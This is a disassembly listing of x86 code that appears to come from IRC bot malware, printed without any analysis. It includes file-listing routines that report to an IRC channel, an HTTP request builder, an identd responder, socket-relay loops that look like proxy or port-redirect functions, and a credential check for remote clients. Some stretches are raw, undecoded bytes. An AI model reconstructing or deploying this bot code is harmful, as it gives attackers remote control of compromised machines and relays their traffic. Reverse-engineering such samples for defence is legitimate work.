ebx push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CAFC4 push offset aTrTdColspan3Hr ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"... lea eax, [ebp+var_248] push esi push eax call sub_41B980 add esp, 0Ch jmp short loc_40FAC8 ; --------------------------------------------------------------------------- loc_40FAAE: ; CODE XREF: sub_40F96A+63j mov esi, 200h push offset aSearchingForS ; "Searching for: %s\r\n" lea eax, [ebp+var_248] push esi push eax call sub_41B980 add esp, 10h loc_40FAC8: ; CODE XREF: sub_40F96A+5Aj ; sub_40F96A+142j lea eax, [ebp+var_248] push ebx push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CAFC4 cmp [ebp+arg_C], ebx jz short loc_40FB63 push [ebp+arg_C] call sub_41AFE0 cmp eax, 2 pop ecx jbe short loc_40FB63 push [ebp+arg_C] call sub_41AFE0 sub eax, 3 pop ecx jz short loc_40FB14 loc_40FB08: ; CODE XREF: sub_40F96A+1A8j mov ecx, [ebp+arg_C] cmp byte ptr [eax+ecx], 2Fh jz short loc_40FB14 dec eax jnz short loc_40FB08 loc_40FB14: ; CODE XREF: sub_40F96A+19Cj ; sub_40F96A+1A5j inc eax push eax lea eax, [ebp+var_594] push [ebp+arg_C] push eax call sub_41B5F0 add esp, 0Ch lea eax, [ebp+var_594] push eax push offset aTrTdColspan3AH ; "<TR>\r\n<TD COLSPAN=\"3\"><A HREF=\"%s\"><COD"... lea eax, [ebp+var_248] push esi push eax call sub_41B980 add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CAFC4 loc_40FB63: ; CODE XREF: sub_40F96A+180j ; sub_40F96A+18Ej lea eax, [ebp+var_388] push eax push edi call near ptr 25D0000h nop lea ecx, [ebp+var_388] mov [ebp+arg_0], eax push ecx push eax nop call near ptr 2770000h test eax, eax jz loc_40FF53 mov edi, 1FFh loc_40FB8F: ; CODE XREF: sub_40F96A+5E3j cmp [ebp+var_388], ebx jz loc_40FF3B lea eax, [ebp+var_35C] push offset a__ ; ".." push eax call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40FF3B lea eax, [ebp+var_35C] push offset a_ ; "." push eax call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40FF3B lea eax, [ebp+var_20] push eax lea eax, [ebp+var_374] push eax nop call near ptr 2760000h lea eax, [ebp+var_18] push eax lea eax, [ebp+var_20] push eax nop call near ptr 27508E2h mov ax, [ebp+var_10] mov ecx, offset aPm ; "PM" cmp ax, 0Ch ja short loc_40FC04 mov ecx, offset aAm ; "AM" loc_40FC04: ; CODE XREF: sub_40F96A+293j cmp ax, 0Ch movzx eax, ax jbe short loc_40FC10 sub eax, 0Ch loc_40FC10: ; CODE XREF: sub_40F96A+2A1j push ecx movzx ecx, [ebp+var_E] push ecx push eax movzx eax, [ebp+var_18] push eax movzx eax, [ebp+var_12] push eax movzx eax, [ebp+var_16] push eax lea eax, [ebp+var_48] push offset a2_2d2_2d4d2_2d ; "%2.2d/%2.2d/%4d %2.2d:%2.2d %s" push eax call sub_41B886 add esp, 20h test byte ptr [ebp+var_388], 10h jz loc_40FDB3 inc [ebp+var_8] cmp [ebp+arg_8], ebx jz short loc_40FC84 lea eax, [ebp+var_35C] push eax push offset aS ; "<%s>" lea eax, [ebp+var_490] push 106h push eax call sub_41B980 add esp, 10h lea eax, [ebp+var_48] push eax lea eax, [ebp+var_490] push eax push [ebp+arg_8] push offset aPrivmsgS31s21s ; "PRIVMSG %s :%-31s %-21s\n" jmp loc_40FEFC ; --------------------------------------------------------------------------- loc_40FC84: ; CODE XREF: sub_40F96A+2E0j cmp [ebp+arg_C], ebx jz loc_40FD6E push 0E6h push offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\"" lea eax, [ebp+var_248] push edi push eax call sub_41B980 add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CAFC4 lea eax, [ebp+var_35C] push eax lea eax, [ebp+var_248] push [ebp+arg_C] push offset aSS_0 ; "%s%s/" push edi push eax call sub_41B980 add esp, 14h lea eax, [ebp+var_248] push ebx push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CAFC4 lea eax, [ebp+var_35C] push eax call sub_41AFE0 cmp eax, 1Eh pop ecx lea eax, [ebp+var_35C] push eax jbe short loc_40FD24 push offset aCode_29sGtCode ; "\"><CODE>%.29s>/</CODE></A>" jmp short loc_40FD29 ; --------------------------------------------------------------------------- loc_40FD24: ; CODE XREF: sub_40F96A+3B1j push offset aCodeSCodeA ; "\"><CODE>%s/</CODE></A>" loc_40FD29: ; CODE XREF: sub_40F96A+3B8j lea eax, [ebp+var_248] push edi push eax call sub_41B980 add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CAFC4 lea eax, [ebp+var_48] push 3Ch push eax push 96h push offset aTdTdWidthDCode ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"... push edi jmp loc_40FEFD ; --------------------------------------------------------------------------- loc_40FD6E: ; CODE XREF: sub_40F96A+31Dj lea eax, [ebp+var_35C] push eax push offset aS ; "<%s>" lea eax, [ebp+var_490] push 106h push eax call sub_41B980 add esp, 10h lea eax, [ebp+var_48] push eax lea eax, [ebp+var_490] push eax push offset a31s21s ; "%-31s %-21s\r\n" lea eax, [ebp+var_248] push esi push eax call sub_41B980 add esp, 14h jmp loc_40FF0C ; --------------------------------------------------------------------------- loc_40FDB3: ; CODE XREF: sub_40F96A+2D4j inc [ebp+var_4] cmp [ebp+arg_8], ebx jz short loc_40FDF2 push ebx push [ebp+var_368] call sub_416922 pop ecx pop ecx push eax lea eax, [ebp+var_48] push eax lea eax, [ebp+var_35C] push eax push [ebp+arg_8] push offset aPrivmsgS31s2_0 ; "PRIVMSG %s :%-31s %-21s (%s bytes)\n" push esi loc_40FDDE: ; CODE XREF: sub_40F96A+577j lea eax, [ebp+var_248] push eax call sub_41B980 add esp, 1Ch jmp loc_40FF0C ; --------------------------------------------------------------------------- loc_40FDF2: ; CODE XREF: sub_40F96A+44Fj cmp [ebp+arg_C], ebx jz loc_40FEE6 push 0E6h push offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\"" lea eax, [ebp+var_248] push edi push eax call sub_41B980 add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CAFC4 lea eax, [ebp+var_35C] push eax lea eax, [ebp+var_248] push [ebp+arg_C] push offset dword_4293C4 push edi push eax call sub_41B980 add esp, 14h lea eax, [ebp+var_248] push ebx push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CAFC4 lea eax, [ebp+var_35C] push eax call sub_41AFE0 cmp eax, 1Fh pop ecx lea eax, [ebp+var_35C] push eax jbe short loc_40FE92 push offset aCode_30sGtCode ; "\"><CODE>%.30s></CODE></A>" jmp short loc_40FE97 ; --------------------------------------------------------------------------- loc_40FE92: ; CODE XREF: sub_40F96A+51Fj push offset aCodeSCodeA_0 ; "\"><CODE>%s</CODE></A>" loc_40FE97: ; CODE XREF: sub_40F96A+526j lea eax, [ebp+var_248] push edi push eax call sub_41B980 add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CAFC4 mov eax, [ebp+var_368] shr eax, 0Ah push eax lea eax, [ebp+var_48] push 3Ch push eax push 96h push offset aTdTdWidthDCo_0 ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"... push edi jmp loc_40FDDE ; --------------------------------------------------------------------------- loc_40FEE6: ; CODE XREF: sub_40F96A+48Bj push [ebp+var_368] lea eax, [ebp+var_48] push eax lea eax, [ebp+var_35C] push eax push offset a31s21sIBytes ; "%-31s %-21s (%i bytes)\r\n" loc_40FEFC: ; CODE XREF: sub_40F96A+315j push esi loc_40FEFD: ; CODE XREF: sub_40F96A+3FFj lea eax, [ebp+var_248] push eax call sub_41B980 add esp, 18h loc_40FF0C: ; CODE XREF: sub_40F96A+444j ; sub_40F96A+483j lea eax, [ebp+var_248] push ebx push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CAFC4 cmp [ebp+arg_8], ebx jz short loc_40FF3B push 7D0h call near ptr 2690579h nop loc_40FF3B: ; CODE XREF: sub_40F96A+22Bj ; sub_40F96A+246j ... lea eax, [ebp+var_388] push eax push [ebp+arg_0] call near ptr 2770000h nop test eax, eax jnz loc_40FB8F loc_40FF53: ; CODE XREF: sub_40F96A+21Aj push [ebp+arg_0] nop call near ptr 2750000h cmp [ebp+arg_8], ebx jz short loc_40FF96 mov eax, [ebp+var_8] cdq push edx push eax call sub_416922 pop ecx pop ecx push eax mov eax, [ebp+var_4] cdq push edx push eax call sub_416922 pop ecx pop ecx push eax lea eax, [ebp+var_248] push [ebp+arg_8] push offset aPrivmsgSFoundS ; "PRIVMSG %s :Found %s Files and %s Direc"... push eax call sub_41B886 add esp, 14h jmp short loc_40FFCA ; --------------------------------------------------------------------------- loc_40FF96: ; CODE XREF: sub_40F96A+5F5j cmp [ebp+arg_C], ebx jz short loc_40FFB0 lea eax, [ebp+var_248] push offset aTrTdColspan3_0 ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"... push eax call sub_41B886 pop ecx pop ecx jmp short loc_40FFCA ; --------------------------------------------------------------------------- loc_40FFB0: ; CODE XREF: sub_40F96A+62Fj push [ebp+var_8] lea eax, [ebp+var_248] push [ebp+var_4] push offset aFoundIFilesAnd ; "Found: %i Files and %i Directories\r\n" push eax call sub_41B886 add esp, 10h loc_40FFCA: ; CODE XREF: sub_40F96A+62Aj ; sub_40F96A+644j lea eax, [ebp+var_248] push ebx push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CAFC4 pop edi pop esi xor eax, eax pop ebx leave retn sub_40F96A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40FFF0 proc near ; CODE XREF: sub_40F530+13Cp var_404 = byte ptr -404h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 404h push ebx push esi xor esi, esi push edi push esi push esi push 3 push esi push 1 push 80000000h push [ebp+arg_4] mov edi, 400h mov [ebp+var_4], esi call near ptr 2710A4Eh nop mov ebx, eax cmp ebx, 0FFFFFFFFh jz loc_4100A8 push esi push ebx nop call near ptr 2740B0Ch cmp eax, esi mov [ebp+arg_4], eax jz short loc_4100A1 loc_410035: ; CODE XREF: sub_40FFF0+AFj push 400h lea eax, [ebp+var_404] push esi push eax call sub_41B590 add esp, 0Ch cmp edi, [ebp+arg_4] loc_41004D: ; DATA XREF: ___:00437A30o ; ___:00437A44o jbe short loc_410052 mov edi, [ebp+arg_4] loc_410052: ; CODE XREF: sub_40FFF0:loc_41004Dj mov eax, [ebp+arg_4] push 2 neg eax push esi push eax push ebx call near ptr 2780000h nop lea eax, [ebp+var_4] push esi push eax lea eax, [ebp+var_404] push edi push eax push ebx call near ptr 2710000h nop push esi lea eax, [ebp+var_404] push edi push eax push [ebp+arg_0] call dword_4CAFC4 cmp eax, 0FFFFFFFFh jnz short loc_41009C call dword_4CAF08 cmp eax, 2733h jnz short loc_4100A1 xor eax, eax loc_41009C: ; CODE XREF: sub_40FFF0+9Bj sub [ebp+arg_4], eax jnz short loc_410035 loc_4100A1: ; CODE XREF: sub_40FFF0+43j ; sub_40FFF0+A8j push ebx nop call near ptr 26708E6h loc_4100A8: ; CODE XREF: sub_40FFF0+30j pop edi pop esi pop ebx leave retn sub_40FFF0 endp ; =============== S U B R O U T I N E ======================================= sub_4100AD proc near ; CODE XREF: sub_40F6B3+181p arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] xor esi, esi push edi call sub_41AFE0 test eax, eax pop ecx jbe short loc_4100D6 loc_4100C0: ; CODE XREF: sub_4100AD+27j cmp byte ptr [esi+edi], 5Ch jnz short loc_4100CA mov byte ptr [esi+edi], 2Fh loc_4100CA: ; CODE XREF: sub_4100AD+17j push edi inc esi call sub_41AFE0 cmp esi, eax pop ecx jb short loc_4100C0 loc_4100D6: ; CODE XREF: sub_4100AD+11j mov eax, edi pop edi pop esi retn sub_4100AD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4100DB proc near ; CODE XREF: sub_401ACD+5297p var_4A0 = byte ptr -4A0h var_310 = byte ptr -310h var_110 = byte ptr -110h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h arg_20 = dword ptr 28h push ebp mov ebp, esp sub esp, 4A0h push ebx lea eax, [ebp+var_4A0] push edi push eax push 101h call dword_4CAEE4 push 6 push 1 push 2 call dword_4CAFF4 mov ebx, eax xor edi, edi push 10h lea eax, [ebp+var_10] push edi push eax call sub_41B590 add esp, 0Ch mov [ebp+var_10], 2 push [ebp+arg_14] call dword_4CAF74 push [ebp+arg_10] mov [ebp+var_E], ax call sub_40AAF9 pop ecx mov [ebp+var_C], eax lea eax, [ebp+var_10] push 10h push eax push ebx call dword_4CAF1C cmp eax, 0FFFFFFFFh jz short loc_4101B8 mov eax, [ebp+arg_20] cmp eax, edi jnz short loc_410154 mov eax, offset dword_43D128 loc_410154: ; CODE XREF: sub_4100DB+72j push esi mov esi, 100h push [ebp+arg_10] push eax lea eax, [ebp+var_110] push [ebp+arg_1C] push [ebp+arg_18] push offset aSSHttp1_1Refer ; "%s %s HTTP/1.1\nReferer: %s\nHost: %s\nCon"... push esi push eax call sub_41B980 add esp, 1Ch lea eax, [ebp+var_110] push edi push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_110] push eax push ebx call dword_4CAFC4 push esi lea eax, [ebp+var_110] push edi push eax call sub_41C310 add esp, 0Ch lea eax, [ebp+var_110] push edi push esi push eax push ebx call dword_4CAF8C pop esi loc_4101B8: ; CODE XREF: sub_4100DB+6Bj push ebx call dword_4CB00C call dword_4CAECC lea eax, [ebp+var_110] push eax lea eax, [ebp+var_310] push eax call sub_41B886 cmp [ebp+arg_C], edi pop ecx pop ecx jnz short loc_4101F8 push edi lea eax, [ebp+var_310] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 14h loc_4101F8: ; CODE XREF: sub_4100DB+102j pop edi pop ebx leave retn sub_4100DB endp ; --------------------------------------------------------------------------- loc_4101FC: ; DATA XREF: ___:00401666o ; sub_401ACD+4369o push ebp mov ebp, esp sub esp, 238h push ebx push esi push edi push 10h pop edi xor esi, esi push edi lea eax, [ebp-1Ch] push esi push eax mov [ebp-8], esi call sub_41B590 add esp, 0Ch mov word ptr [ebp-1Ch], 2 push 71h call dword_4CAF74 push esi push 1 push 2 mov [ebp-1Ah], ax mov [ebp-18h], esi call dword_4CAFF4 mov ebx, eax cmp ebx, 0FFFFFFFFh jz loc_410360 mov eax, [ebp+8] push edi imul eax, 234h mov dword_43DEBC[eax], ebx lea eax, [ebp-1Ch] push eax push ebx call dword_4CAFA0 cmp eax, 0FFFFFFFFh jz loc_410360 push 5 push ebx call dword_4CAF9C cmp eax, 0FFFFFFFFh jz loc_410360 mov [ebp-0Ch], edi mov edi, 200h loc_410287: ; CODE XREF: ___:004102E6j ; ___:00410349j ... lea eax, [ebp-0Ch] push eax lea eax, [ebp-2Ch] push eax push ebx call dword_4CB008 cmp eax, 0FFFFFFFFh mov [ebp-4], eax jz loc_41035B movzx eax, word ptr [ebp-2Ah] push eax push dword ptr [ebp-28h] call dword_4CB000 push eax lea eax, [ebp-238h] push offset dword_433F94 push eax call sub_41B886 lea eax, [ebp-238h] push eax call sub_4151AC add esp, 14h lea eax, [ebp-238h] push esi push edi push eax push dword ptr [ebp-4] call dword_4CAF8C cmp eax, 0FFFFFFFFh jz short loc_410287 lea eax, [ebp-238h] push esi push eax call sub_417F7F push 0Ch lea eax, [ebp-38h] push esi push eax call sub_41B590 push esi push esi lea eax, [ebp-38h] push 2 push eax call sub_40B08D add esp, 24h push eax push offset aUseridUnixS ; " : USERID : UNIX : %s\r\n" lea eax, [ebp-238h] push edi push eax call sub_41B980 add esp, 10h lea eax, [ebp-238h] push esi push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp-238h] push eax push dword ptr [ebp-4] call dword_4CAFC4 cmp eax, 0FFFFFFFFh jz loc_410287 mov dword ptr [ebp-8], 1 jmp loc_410287 ; --------------------------------------------------------------------------- loc_41035B: ; CODE XREF: ___:0041029Cj cmp [ebp-8], esi jnz short loc_410387 loc_410360: ; CODE XREF: ___:00410243j ; ___:00410267j ... call dword_4CAF08 push eax lea eax, [ebp-238h] push offset dword_433F50 push eax call sub_41B886 lea eax, [ebp-238h] push eax call sub_4151AC add esp, 10h loc_410387: ; CODE XREF: ___:0041035Ej push ebx call dword_4CB00C push dword ptr [ebp-4] call dword_4CB00C push dword ptr [ebp+8] call sub_40B412 pop ecx push esi call near ptr 26F0000h nop pop edi pop esi pop ebx loc_4103AA: ; DATA XREF: sub_401ACD+613Bo push ebp mov ebp, esp sub esp, 350h mov eax, [ebp+8] push esi push edi push 4Ah pop ecx mov esi, eax lea edi, [ebp-150h] push 10h rep movsd pop edi mov dword ptr [eax+120h], 1 xor esi, esi push edi lea eax, [ebp-14h] push esi push eax call sub_41B590 add esp, 0Ch mov word ptr [ebp-14h], 2 push dword ptr [ebp-44h] call dword_4CAF74 push 6 push 1 push 2 mov [ebp-12h], ax mov [ebp-10h], esi mov [ebp-4], edi call dword_4CAFF4 cmp eax, 0FFFFFFFFh mov [ebp+8], eax jz loc_410516 mov ecx, [ebp-40h] push 1 imul ecx, 234h push 401h push esi push eax mov dword_43DEBC[ecx], eax call dword_4CAE84 lea eax, [ebp-14h] push edi push eax push dword ptr [ebp+8] call dword_4CAFA0 test eax, eax jnz loc_410516 push 0Ah push dword ptr [ebp+8] call dword_4CAF9C test eax, eax jnz loc_410516 loc_41045A: ; CODE XREF: ___:00410470j lea eax, [ebp-4] push eax lea eax, [ebp-28h] push eax push dword ptr [ebp+8] call dword_4CB008 mov edi, eax cmp edi, 0FFFFFFFFh jz short loc_41045A movzx eax, word ptr [ebp-26h] push dword ptr [ebp-40h] mov [ebp-14Ch], edi mov [ebp-30h], esi push eax push dword ptr [ebp-24h] call dword_4CB000 push eax lea eax, [ebp-350h] push offset unk_433FFC push eax call sub_41B886 push edi lea eax, [ebp-350h] push 18h push eax call sub_40B0F6 mov [ebp-3Ch], eax imul eax, 234h mov ecx, [ebp-40h] add esp, 20h mov dword_43DEB4[eax], ecx lea eax, [ebp-18h] push eax lea eax, [ebp-150h] push esi push eax push offset loc_41053B push esi push esi nop ; --------------------------------------------------------------------------- dw 0F9E8h dd 8B022800h, 0C969C44Dh, 234h, 8189C63Bh, 43DEC4h, 75391374h dd 63850FD0h, 6AFFFFFFh, 7AE89032h, 0EB022800h, 0DBE890EDh dd 50022807h, 433FC068h, 4D0EE800h, 59590000h ; --------------------------------------------------------------------------- jmp short loc_410519 ; --------------------------------------------------------------------------- loc_410516: ; CODE XREF: ___:0041040Dj ; ___:00410441j ... mov edi, [ebp+8] loc_410519: ; CODE XREF: ___:00410514j push edi call dword_4CB00C push dword ptr [ebp+8] call dword_4CB00C push dword ptr [ebp-40h] call sub_40B412 pop ecx push esi nop call near ptr 26F0000h pop edi pop esi loc_41053B: ; DATA XREF: ___:004104CEo push ebp mov ebp, esp mov eax, 1344h call sub_41BB20 mov eax, [ebp+8] push ebx push esi push edi push 4Ah mov esi, eax pop ecx lea edi, [ebp-144h] rep movsd mov ebx, [ebp-30h] push 1 pop ecx mov [ebp-4], ebx push 6 push ecx push 2 mov [eax+120h], ecx call dword_4CAFF4 mov esi, eax xor edi, edi cmp esi, 0FFFFFFFFh mov [ebp+8], esi jz loc_4106F1 push 10h lea eax, [ebp-18h] push edi push eax call sub_41B590 add esp, 0Ch mov word ptr [ebp-18h], 2 push dword ptr [ebp-3Ch] call dword_4CAF74 mov [ebp-16h], ax lea eax, [ebp-13Ch] push eax call dword_4CAFB4 cmp eax, 0FFFFFFFFh mov [ebp-8], eax jnz short loc_4105CB lea eax, [ebp-13Ch] push eax call dword_4CAFF8 jmp short loc_4105D9 ; --------------------------------------------------------------------------- loc_4105CB: ; CODE XREF: ___:004105BAj push 2 lea eax, [ebp-8] push 4 push eax call dword_4CAF2C loc_4105D9: ; CODE XREF: ___:004105C9j cmp eax, edi jz loc_4106F1 mov eax, [eax+0Ch] push 10h mov eax, [eax] mov eax, [eax] mov [ebp-14h], eax lea eax, [ebp-18h] push eax push esi call dword_4CAF1C cmp eax, 0FFFFFFFFh jz loc_4106F1 movzx eax, word ptr [ebp-16h] push dword ptr [ebp-34h] mov [ebp-20h], edi push eax push dword ptr [ebp-14h] call dword_4CB000 push eax lea eax, [ebp-344h] push offset unk_434084 push eax call sub_41B886 push esi lea eax, [ebp-344h] push 18h push eax call sub_40B0F6 imul ebx, 234h mov [ebp-30h], eax imul eax, 234h mov ecx, [ebp-34h] lea esi, dword_43DEBC[ebx] mov dword_43DEB4[eax], ecx add esp, 20h mov ecx, [esi] mov dword_43DEC0[eax], ecx lea eax, [ebp-1Ch] push eax lea eax, [ebp-144h] push edi push eax push offset loc_410722 push edi push edi call near ptr 26905D4h nop mov ecx, [ebp-30h] imul ecx, 234h cmp eax, edi mov dword_43DEC4[ecx], eax jz short loc_4106DE loc_41068B: ; CODE XREF: ___:00410698j cmp [ebp-20h], edi jnz short loc_41069A push 32h nop call near ptr 2690579h jmp short loc_41068B ; --------------------------------------------------------------------------- loc_41069A: ; CODE XREF: ___:0041068Ej mov ebx, 1000h loc_41069F: ; CODE XREF: ___:004106DAj push ebx lea eax, [ebp-1344h] push edi push eax call sub_41B590 add esp, 0Ch lea eax, [ebp-1344h] push edi push ebx push eax push dword ptr [esi] call dword_4CAF8C cmp eax, edi jle short loc_4106F1 push edi push eax lea eax, [ebp-1344h] push eax push dword ptr [ebp+8] call dword_4CAFC4 cmp eax, 0FFFFFFFFh jnz short loc_41069F jmp short loc_4106F1 ; --------------------------------------------------------------------------- loc_4106DE: ; CODE XREF: ___:00410689j call near ptr 2690CE2h nop push eax push offset unk_434044 call sub_415220 pop ecx pop ecx loc_4106F1: ; CODE XREF: ___:0041057Fj ; ___:004105DBj ... mov eax, [ebp-4] imul eax, 234h push dword_43DEBC[eax] call dword_4CB00C push dword ptr [ebp+8] call dword_4CB00C push dword ptr [ebp-4] call sub_40B412 pop ecx push edi nop call near ptr 26F0000h pop edi pop esi pop ebx loc_410722: ; DATA XREF: ___:0041066Bo push ebp mov ebp, esp mov eax, 1128h call sub_41BB20 mov eax, [ebp+8] push esi push edi push 4Ah pop ecx mov esi, eax lea edi, [ebp-128h] rep movsd mov esi, [ebp-14h] mov dword ptr [eax+124h], 1 imul esi, 234h mov edi, 1000h loc_410759: ; CODE XREF: ___:0041079Ej push edi lea eax, [ebp-1128h] push 0 push eax call sub_41B590 add esp, 0Ch lea eax, [ebp-1128h] push 0 push edi push eax push dword_43DEC0[esi] call dword_4CAF8C test eax, eax jle short loc_4107A0 push 0 push eax lea eax, [ebp-1128h] push eax push dword_43DEBC[esi] call dword_4CAFC4 cmp eax, 0FFFFFFFFh jnz short loc_410759 loc_4107A0: ; CODE XREF: ___:00410783j push dword_43DEC0[esi] call dword_4CB00C push dword ptr [ebp-14h] call sub_40B412 pop ecx push 0 nop ; --------------------------------------------------------------------------- dd 2DF843E8h ; --------------------------------------------------------------------------- add bl, [edi+5Eh] push ebp mov ebp, esp sub esp, 3D4h mov eax, [ebp+8] push ebx push esi push edi push 78h mov esi, eax pop ecx lea edi, [ebp-3D4h] push 1 mov dword ptr [ebp-0Ch], 1Eh pop ebx rep movsd mov [eax+1DCh], ebx mov eax, [ebp-208h] mov [ebp+8], eax imul eax, 234h lea esi, dword_43DEBC[eax] xor edi, edi mov [ebp-8], edi mov [ebp-1F4h], ebx mov eax, [esi] mov [ebp-1F0h], eax lea eax, [ebp-0Ch] push eax push edi lea eax, [ebp-1F4h] push edi push eax push edi call dword_4CAF5C test eax, eax jnz short loc_410843 push dword ptr [esi] call dword_4CB00C push dword ptr [ebp+8] call sub_40B412 pop ecx push edi call near ptr 26F0000h nop loc_410843: ; CODE XREF: ___:00410829j push edi lea eax, [ebp-3Ch] push ebx push eax push dword ptr [esi] call dword_4CAF8C lea eax, [ebp-2Ch] push 10h push eax push dword ptr [esi] call sub_4109C4 lea eax, [ebp-4Ch] push 10h push eax push dword ptr [esi] call sub_4109C4 lea eax, [ebp-0F0h] push 40h push eax push dword ptr [esi] call sub_4109C4 add esp, 24h lea eax, [ebp-4] mov dword ptr [ebp-4], 10h push eax lea eax, [ebp-1Ch] push eax push dword ptr [esi] call dword_4CAEC8 test eax, eax jz short loc_4108BC call dword_4CAF08 push eax push offset unk_43415C call sub_415220 push dword ptr [ebp+8] call sub_40B412 add esp, 0Ch push edi nop call near ptr 26F0000h loc_4108BC: ; CODE XREF: ___:00410897j push 2 lea eax, [ebp-18h] push 4 push eax call dword_4CAF2C cmp eax, edi jnz short loc_4108E6 push dword ptr [ebp-18h] call dword_4CB000 push eax lea eax, [ebp-0B0h] push eax call sub_41B886 jmp short loc_4108F4 ; --------------------------------------------------------------------------- loc_4108E6: ; CODE XREF: ___:004108CCj push dword ptr [eax] lea eax, [ebp-0B0h] push eax call sub_41BEB0 loc_4108F4: ; CODE XREF: ___:004108E4j pop ecx pop ecx push edi push ebx push offset dword_43D128 push dword ptr [esi] call dword_4CAFC4 cmp dword_4CDCD8, edi jnz short loc_410956 push dword ptr [ebp-18h] lea eax, [ebp-350h] push eax lea eax, [ebp-0B0h] push eax lea eax, [ebp-2Ch] push eax call sub_410A1E add esp, 10h test eax, eax jnz short loc_410956 push edi push 13h push offset aPermissionDeni ; "Permission denied\n" push dword ptr [esi] call dword_4CAFC4 push dword ptr [esi] call dword_4CB00C push dword ptr [ebp+8] call sub_40B412 pop ecx push edi nop call near ptr 26F0000h loc_410956: ; CODE XREF: ___:0041090Bj ; ___:0041092Cj lea eax, [ebp-0B0h] push eax lea eax, [ebp-2Ch] push eax push offset unk_434120 call sub_415220 push dword ptr [ebp+8] call sub_410CD5 add esp, 10h test eax, eax jnz short loc_41099D nop call near ptr 2690CE2h push eax push offset unk_4340F4 call sub_415220 push dword ptr [ebp+8] call sub_40B412 add esp, 0Ch push ebx nop call near ptr 26F0000h loc_41099D: ; CODE XREF: ___:00410978j lea eax, [ebp-0B0h] push eax lea eax, [ebp-2Ch] push eax push offset unk_4340C8 call sub_415220 push dword ptr [ebp+8] call sub_40B412 add esp, 10h push edi call near ptr 26F0000h nop ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4109C4 proc near ; CODE XREF: ___:00410859p ; ___:00410866p ... var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push esi push 0 lea eax, [ebp+var_1] push 1 push eax push [ebp+arg_0] call dword_4CAF8C cmp eax, 1 jnz short loc_410A14 mov esi, [ebp+arg_4] loc_4109E2: ; CODE XREF: sub_4109C4+41j mov al, [ebp+var_1] mov [esi], al inc esi dec [ebp+arg_8] jz short loc_410A09 test al, al jz short loc_410A18 push 0 lea eax, [ebp+var_1] push 1 push eax push [ebp+arg_0] call dword_4CAF8C cmp eax, 1 jz short loc_4109E2 jmp short loc_410A14 ; --------------------------------------------------------------------------- loc_410A09: ; CODE XREF: sub_4109C4+27j push offset unk_434188 call sub_415220 pop ecx loc_410A14: ; CODE XREF: sub_4109C4+19j ; sub_4109C4+43j xor eax, eax jmp short loc_410A1B ; --------------------------------------------------------------------------- loc_410A18: ; CODE XREF: sub_4109C4+2Bj push 1 pop eax loc_410A1B: ; CODE XREF: sub_4109C4+52j pop esi leave retn sub_4109C4 endp ; =============== S U B R O U T I N E ======================================= sub_410A1E proc near ; CODE XREF: ___:00410922p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push [esp+arg_0] push [esp+4+arg_8] call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_410A49 push [esp+arg_4] push [esp+4+arg_0] push offset dword_4341B4 call sub_415220 add esp, 0Ch xor eax, eax retn ; --------------------------------------------------------------------------- loc_410A49: ; CODE XREF: sub_410A1E+11j push 1 pop eax retn sub_410A1E endp ; --------------------------------------------------------------------------- byte_410A4D db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+23D4o dd 5A4EC81h, 458B0000h, 6A575608h, 0F08B5978h, 0FDECBD8Dh dd 16AFFFFh, 895FA5F3h, 1DCB8h, 5C858D00h, 50FFFFFAh, 20268h dd 0E415FF00h, 33004CAEh, 74C63BF6h, 2468501Dh, 0E8004343h dd 478Ch, 0E8B475FFh, 0FFFFA976h, 570CC483h, 2DF55BE8h dd 68579002h, 410CCBh, 